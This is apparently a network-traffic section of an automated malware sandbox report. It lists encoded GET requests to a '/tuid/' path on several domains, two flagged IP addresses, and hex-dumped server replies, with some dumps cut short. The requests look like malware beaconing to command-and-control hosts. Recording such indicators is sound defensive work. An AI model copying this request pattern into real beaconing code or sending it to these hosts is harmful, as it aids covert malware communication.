Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=LeABM0dRx+cjh3zMeGVoLpl9dcpUDuhE6Ym2dCR4YXuE8jour2rN+gEOINsGd1piKr34&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.secureartist.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=x1lqSWX2LKO1JKV9bkchYXFCTPqYoW8UylSztnXFuZ2/7+2KqJfWLK3RcwQMnMv5S2vv HTTP/1.1Host: www.ymsb.infoConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=9gXeVPWqRuIX9bIiSDPSAo7Wpwb+1c/G4dykJbOMN5RD0q8y2Pxv3NPChbg6lQ1LsmOi&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.coolarts.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=ZWTx79zL1WMN2pQcyBYApaV2+B3RRlV7SjHEUZJPfkwT7h+aiOtTufuSzn8LCa71qLhI HTTP/1.1Host: www.ap-render.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=5V7M8j5VuGkiy9NL3tIypAJy22VFPCeBH5Oh5nibDDbINvkaWpZ6bb8s5rlg19isjBzt&M8s=w86DJpgx5FYlUfRP HTTP/1.1Host: www.receiveprim.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=mghAatraeoVXXTpIg6GKnKl23LbAAQF/82d90oG2Rt9sZLGICR2WykimnZjjCp2p0vtb HTTP/1.1Host: www.itsfindia.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /tuid/?m4bd=vE0t2WxjBi8H4KsoCXQPFaaEcnaL0cW4rsHN0mKSQSi6rgkDy1GsjEniIX065GWycDne&UlCp=CJEhZPH HTTP/1.1Host: www.vtubber.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View	IP Address: 103.150.61.226 103.150.61.226
Source: Joe Sandbox View	IP Address: 66.29.155.228 66.29.155.228

Source: unknown

Network traffic detected: IP country count 10

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 08 Aug 2022 15:44:34 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 279Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6c 69 6e 75 78 69 7a 65 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.linuxizes.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: awselb/2.0Date: Mon, 08 Aug 2022 15:45:36 GMTContent-Type: text/htmlContent-Length: 118Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 08 Aug 2022 15:46:04 GMTContent-Type: text/htmlContent-Length: 146Connection: closeX-Seen-By: W1c2/pqHBqplxcWufHCkILxkNjrXdwdgtu6E0yACibU=,sHU62EDOGnH2FBkJkG/Wx8EeXWsWdHrhlvbxtlynkVjjsN8RUa0UkPSj4npW0X3Y,m0j2EEknGIVUW/liY8BLLl77sBeKLtHVaXbFQUDNQYPu/2EjeiyKjB/JVOb8T5VeX-Wix-Request-Id: 1659973564.2325226518761515557X-Content-Type-Options: nosniffData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 08 Aug 2022 15:46:19 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 279Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6c 69 6e 75 78 69 7a 65 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.linuxizes.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 08 Aug 2022 15:46:21 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 279Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6c 69 6e 75 78 69 7a 65 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.linuxizes.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: awselb/2.0Date: Mon, 08 Aug 2022 15:47:11 GMTContent-Type: text/htmlContent-Length: 118Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 08 Aug 2022 15:48:01 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 279Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6c 69 6e 75 78 69 7a 65 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.linuxizes.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecontent-type: text/htmllast-modified: Mon, 15 Nov 2021 17:41:01 GMTetag: "999-61929bad-4d963b7021e7aca9;;;"accept-ranges: bytescontent-length: 2457date: Mon, 08 Aug 2022 15:48:14 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 73 69 6f 63 3a 20 68 74 74 70 3a 2f 2f 72 64 66 73 2e 6f 72 67 2f 73 69 6f 63 2f 6e 73 23 20 73 69 6f 63 74 3a 20 68 74 74 70 3a 2f 2f 72 64 66 73 2e 6f 72 67 2f 73 69 6f 63 2f 74 79 70 65 73 23 20 73 6b 6f 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 34 2f 30 32 2f 73 6b 6f 73 2f 63 6f 72 65 23 20 78 73 64 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 23 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0a 20 20 20 20 20 20 20 20 5b 6e 67 5c 3a 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 64 61 74 61 2d 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 78 2d 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 63 6c 6f 61 6b 2c 0a 20 20 20 20 20 20 20 20 2e 78 2d 6e 67 2d 63 6c 6f 61 6b 2c 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 68 69 64 65 3a 6e 6f 74 28 2e 6e 67 2d 68 69 64 65 2d 61 6e 69 6d 61 74 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 6e 67 5c 3a 66 6f 72 6d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 61 6e 69 6d 61 74 65 2d 73 68 69 6d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 61 6e 63 68 6f 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 20 20 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 08 Aug 2022 15:48:19 GMTServer: ApacheContent-Length: 268Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 78 63 38 62 34 39 63 36 6d 6e 6d 64 74 73 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at www.xc8b49c6mnmdts.xyz Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: awselb/2.0Date: Mon, 08 Aug 2022 15:48:50 GMTContent-Type: text/htmlContent-Length: 118Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 08 Aug 2022 15:45:09 GMTServer: Apache/2.4.25 (Debian)Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 4961Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5c cd 73 1b b7 92 3f cb 7f 05 42 97 63 bb 56 e0 97 a8 cf 48 ca 3a b6 f3 9e d7 f1 c7 46 de a4 36 17 17 38 03 92 10 67 80 79 c0 0c 25 2a cf f7 f7 aa d6 f7 cd fa b2 3a fa e0 ca 61 6f af ea e5 42 e9 ff da 6e 60 66 38 43 8d 24 52 96 5d 76 25 4e 28 ce 60 80 ee 06 d0 fd eb 6e 00 c3 ed 41 1c 06 bb 37 6e 6c 0f 38 f3 77 6f 2c 6d 77 99 e1 64 a0 79 6f a7 d6 a8 61 41 c8 63 46 bc 01 d3 86 c7 3b b5 24 ee d1 0d 28 87 07 b1 88 03 be 7b ef fe 8b 47 3f 3c 24 ed ce 32 31 75 5d 57 f5 ed 86 7b 70 23 6b 2b 59 c8 77 6a 23 c1 0f 22 a5 e3 1a f1 94 8c b9 04 5a 07 c2 8f 07 3b 3e 1f 09 8f 53 7b b3 4c 84 14 b1 60 01 35 1e 0b f8 4e 6b 2a 81 a3 f2 98 8f 0f 94 f6 4d 81 ca 6c 95 07 dc 78 5a 44 b1 50 b2 50 eb 8c 98 b3 cd ee 25 f1 40 e9 45 5a 3c 3b 90 fc c2 06 c4 8d d3 17 94 92 1e 83 4e 2a 49 4c cc 74 4c 28 45 52 81 90 43 a2 79 b0 53 63 51 14 70 1a ab c4 1b 50 ac 56 23 46 1c 71 b3 53 5b 5d 3f 5c 5d af a5 d3 31 88 e3 c8 6c 35 1a fd 44 d4 99 17 8b 11 6f 77 ea de 51 43 84 fd 06 b6 6a 38 32 78 49 6d c3 7a 24 fb b5 39 39 ad 35 0f d7 9a 57 e1 64 1b 2e c2 69 bd 7d b8 de be 0a 27 db 70 21 4e 6b 87 eb 6b 57 e2 84 0d 17 e1 d4 6a 75 0e e1 73 15 5e 69 d3 85 b8 b5 9b 87 f0 b9 12 37 d7 74 21 6e 1d 10 b0 73 b5 be b9 a6 0b 71 5b 6d 1f c2 e7 4a dc 5c d3 85 b8 6d c0 70 6c 5c 6d 24 5d d3 0a 6e 8e 43 3c 8e 00 23 44 c8 fa bc 81 75 72 96 9b 20 e5 e6 02 1d 94 be 56 c2 4f 99 ba c6 0b 33 5d 69 1f ae cc cf 32 05 2b 6a 5b 2d cc 6b 73 ed 70 73 7e ab cb 78 d9 56 8b 0f e6 da 61 6b 71 5e b6 55 ce ab 80 e8 a1 c1 09 16 1e 43 e7 41 5f 88 80 df 57 41 c9 29 dc ec d9 7f 97 37 7c 84 b2 16 1a 5e 2a 5c 68 aa 6d a6 c0 25 1e f0 90 53 ef 02 91 a6 e3 66 e2 71 c0 cd 80 f3 f8 b2 e1 09 44 57 33 3d 6e 58 ea 8d 41 d4 5a 6b d8 c6 75 cf 98 b9 89 1e 1c 1c 94 88 42 5b af c1 da ad 46 c8 84 ac 43 23 f3 f5 68 a7 db 6c af ad 79 9d 8d ce 4a 7b b5 d3 6c 75 36 fc f5 f5 1e 5f ef ad 37 37 37 5b ab 2b 9b 17 70 73 0a 10 f3 c3 18 49 67 dc 1b 40 fe d0 f3 65 bd ab 54 6c 62 cd 22 bc f1 54 d8 e8 c1 e8 50 76 c0 8d 82 3e 75 ea 2b f5 26 b6 2b 15 d7 43 90 0c 89 dd 58 5a 0a b9 2f 18 e0 44 10 a0 0c 84 2c 24 c5 79 03 8b 0c 03 30 5f 21 fb e9 58 42 f7 2c 39 e0 b1 f4 af 22 c4 70 88 24 3a b8 93 51 40 f1 4c bd af 54 3f e0 2c 12 c6 76 05 9a 7e dd 63 a1 08 c6 3b 2f 20 36 0a 02 91 84 ff f2 23 ef 6e 75 9a cd e5 75 f8 6c c2 67 0d 3e 2b cd e6 97 26 e9 62 98 16 80 22 ca 65 fb 97 82 b4 77 bf ba 81 1c 6d ef 7b cc e3 e4 67 b8 5d 4a 6f 91 f2 16 b9 9d 49 6e b5 d0 dc fe 0a 6b 18 ed 6d 59 01 6f 9f d7 47 a4 d1 28 37 ad 73 15 df be 4b 7a 4a 87 2c be 73 9b 87 5d ee fb dc a7 2a 02 75 85 01 bc 7d 77 19 69 2f 2d 4c 37 8e 7b 05 ba b1 4e f8 7b 91 3b 50 bd 22 3d 77 7b 45 5a 66 d4 2f 90 b2 77 5f e5 43 7c c0 45 7f 10 6f 11 89 8f 83 69 b9 55 85 62 f1 2b 9c 25 8c c7 51 8a ae f2 c7 15 f3 54 cb 75 80 80 0e d4 2c 35 35 e2 ba 17 a8 03 7a b
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 08 Aug 2022 15:46:45 GMTServer: Apache/2.4.25 (Debian)Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 4961Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5c cd 73 1b b7 92 3f cb 7f 05 42 97 63 bb 56 e0 97 a8 cf 48 ca 3a b6 f3 9e d7 f1 c7 46 de a4 36 17 17 38 03 92 10 67 80 79 c0 0c 25 2a cf f7 f7 aa d6 f7 cd fa b2 3a fa e0 ca 61 6f af ea e5 42 e9 ff da 6e 60 66 38 43 8d 24 52 96 5d 76 25 4e 28 ce 60 80 ee 06 d0 fd eb 6e 00 c3 ed 41 1c 06 bb 37 6e 6c 0f 38 f3 77 6f 2c 6d 77 99 e1 64 a0 79 6f a7 d6 a8 61 41 c8 63 46 bc 01 d3 86 c7 3b b5 24 ee d1 0d 28 87 07 b1 88 03 be 7b ef fe 8b 47 3f 3c 24 ed ce 32 31 75 5d 57 f5 ed 86 7b 70 23 6b 2b 59 c8 77 6a 23 c1 0f 22 a5 e3 1a f1 94 8c b9 04 5a 07 c2 8f 07 3b 3e 1f 09 8f 53 7b b3 4c 84 14 b1 60 01 35 1e 0b f8 4e 6b 2a 81 a3 f2 98 8f 0f 94 f6 4d 81 ca 6c 95 07 dc 78 5a 44 b1 50 b2 50 eb 8c 98 b3 cd ee 25 f1 40 e9 45 5a 3c 3b 90 fc c2 06 c4 8d d3 17 94 92 1e 83 4e 2a 49 4c cc 74 4c 28 45 52 81 90 43 a2 79 b0 53 63 51 14 70 1a ab c4 1b 50 ac 56 23 46 1c 71 b3 53 5b 5d 3f 5c 5d af a5 d3 31 88 e3 c8 6c 35 1a fd 44 d4 99 17 8b 11 6f 77 ea de 51 43 84 fd 06 b6 6a 38 32 78 49 6d c3 7a 24 fb b5 39 39 ad 35 0f d7 9a 57 e1 64 1b 2e c2 69 bd 7d b8 de be 0a 27 db 70 21 4e 6b 87 eb 6b 57 e2 84 0d 17 e1 d4 6a 75 0e e1 73 15 5e 69 d3 85 b8 b5 9b 87 f0 b9 12 37 d7 74 21 6e 1d 10 b0 73 b5 be b9 a6 0b 71 5b 6d 1f c2 e7 4a dc 5c d3 85 b8 6d c0 70 6c 5c 6d 24 5d d3 0a 6e 8e 43 3c 8e 00 23 44 c8 fa bc 81 75 72 96 9b 20 e5 e6 02 1d 94 be 56 c2 4f 99 ba c6 0b 33 5d 69 1f ae cc cf 32 05 2b 6a 5b 2d cc 6b 73 ed 70 73 7e ab cb 78 d9 56 8b 0f e6 da 61 6b 71 5e b6 55 ce ab 80 e8 a1 c1 09 16 1e 43 e7 41 5f 88 80 df 57 41 c9 29 dc ec d9 7f 97 37 7c 84 b2 16 1a 5e 2a 5c 68 aa 6d a6 c0 25 1e f0 90 53 ef 02 91 a6 e3 66 e2 71 c0 cd 80 f3 f8 b2 e1 09 44 57 33 3d 6e 58 ea 8d 41 d4 5a 6b d8 c6 75 cf 98 b9 89 1e 1c 1c 94 88 42 5b af c1 da ad 46 c8 84 ac 43 23 f3 f5 68 a7 db 6c af ad 79 9d 8d ce 4a 7b b5 d3 6c 75 36 fc f5 f5 1e 5f ef ad 37 37 37 5b ab 2b 9b 17 70 73 0a 10 f3 c3 18 49 67 dc 1b 40 fe d0 f3 65 bd ab 54 6c 62 cd 22 bc f1 54 d8 e8 c1 e8 50 76 c0 8d 82 3e 75 ea 2b f5 26 b6 2b 15 d7 43 90 0c 89 dd 58 5a 0a b9 2f 18 e0 44 10 a0 0c 84 2c 24 c5 79 03 8b 0c 03 30 5f 21 fb e9 58 42 f7 2c 39 e0 b1 f4 af 22 c4 70 88 24 3a b8 93 51 40 f1 4c bd af 54 3f e0 2c 12 c6 76 05 9a 7e dd 63 a1 08 c6 3b 2f 20 36 0a 02 91 84 ff f2 23 ef 6e 75 9a cd e5 75 f8 6c c2 67 0d 3e 2b cd e6 97 26 e9 62 98 16 80 22 ca 65 fb 97 82 b4 77 bf ba 81 1c 6d ef 7b cc e3 e4 67 b8 5d 4a 6f 91 f2 16 b9 9d 49 6e b5 d0 dc fe 0a 6b 18 ed 6d 59 01 6f 9f d7 47 a4 d1 28 37 ad 73 15 df be 4b 7a 4a 87 2c be 73 9b 87 5d ee fb dc a7 2a 02 75 85 01 bc 7d 77 19 69 2f 2d 4c 37 8e 7b 05 ba b1 4e f8 7b 91 3b 50 bd 22 3d 77 7b 45 5a 66 d4 2f 90 b2 77 5f e5 43 7c c0 45 7f 10 6f 11 89 8f 83 69 b9 55 85 62 f1 2b 9c 25 8c c7 51 8a ae f2 c7 15 f3 54 cb 75 80 80 0e d4 2c 35 35 e2 ba 17 a8 03 7a b

